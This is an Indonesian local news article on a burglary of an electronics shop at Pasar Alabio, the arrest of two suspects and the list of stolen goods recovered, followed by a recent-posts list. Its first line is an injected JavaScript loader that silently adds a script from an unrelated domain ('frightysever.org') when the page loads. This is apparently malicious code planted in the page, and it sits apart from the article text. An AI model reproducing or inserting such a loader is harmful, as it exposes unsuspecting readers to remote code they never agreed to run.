(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dua Pelaku Pencurian Toko Elektronik di Pasar Alabio Diringkus


AMUNTAI, Polsek Alabio berhasil mengungkap kasus pencurian di Toko Elektronik Haris Fadillah, Pasar Alabio Desa Sungai Pandan Hulu, Kecamatan Sungai Pandan Kabupaten HSU, Senin (17/9) sekitar pukul 10.00 Wita.

Pelaku diketahui ada 2 orang, yaitu JA alias Maidi (28) warga Jalan Bintara RT 005/002 Desa Sungai Pandan Hulu, Kecamatan Sungai Pandan, HSU dan S alias Ulim (29) warga Desa Sungai Pandan Hulu, Jalan Pandan Sari RT 04 Kecamatan Sungai Pandan, HSU.

Pencurian terjadi pada hari Rabu (12/9) sekitar pukul 01.00 Wita,  Ketika salah satu saksi yaitu Supriadi (44), pekerja kebersihan pasar sedang bekerja. Tiba-tiba saksi melihat 2 orang yang diduga pencuri lari kabur keluar toko elektronik tersebut.

Merasa curiga, Supriadi melaporkan kejadian tersebut ke pemilik toko yaitu Ahmad Supiani (47). Ahmad Supiani segera mengecek isi toko dan mendapati tokonya sudah dicongkel., sejumlah barang elektronik hilang. Dari keterangan Ahmad, barang-batang yang ludes digondol dua pelaku yaitu blender, kipas angin, kalkulator, setrika, baterai, serta jam dinding.

Kapolres HSU AKBP Agus Sudaryanto SIK MH melalui Kapolsek Alabio Iptu Danu Sura mengungkapkan, korban mengalami kerugian dengan kisaran hingga puluhan juta rupiah

“Atas kejadian tersebut ditaksir kerugian sebesar Rp 10 juta dan langsung melaporkan kejadian tersebut ke pihak berwajib,” ungkapnya kepada Kanal Kalimantan.

Unit Reskrim Polsek Alabio dengan cepat melakukan pencarian terhadap para pelaku. Alhasil, kedua pelaku yaitu Maidi dan Ulim berhasil diringkus di tempat tinggal masing-masing. Saat dilakukan penggeledahan, petugas menemukan sejumlah barang bukti hasil dari aksi pencurian.

“Kedua pelaku tidak bisa mengelak saat kita amankan dan dari hasil penggeladahan seluruh barang curian tersebut berada di rumah pelaku Maidi,” lanjut Kapolsek Alabio.


Berikut barang bukti yang berhasil diamankan ;

– kalkulator casio ew-IDIO BK (3 buah)

– Blender National MX-T II GN (2 buah)

– Kipas angin Matsunichi model FS-328 c3 (2 buah)

– Jam dinding (6 buah)

– Kipas mini USB Portable (9 buah).

-Kalkulator merk citizen(24 buah).

– Setrika listrik (3 buah)

– Senter kepala (4buah)

– Baterai litium isi ulang merk dony (5 buah). (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.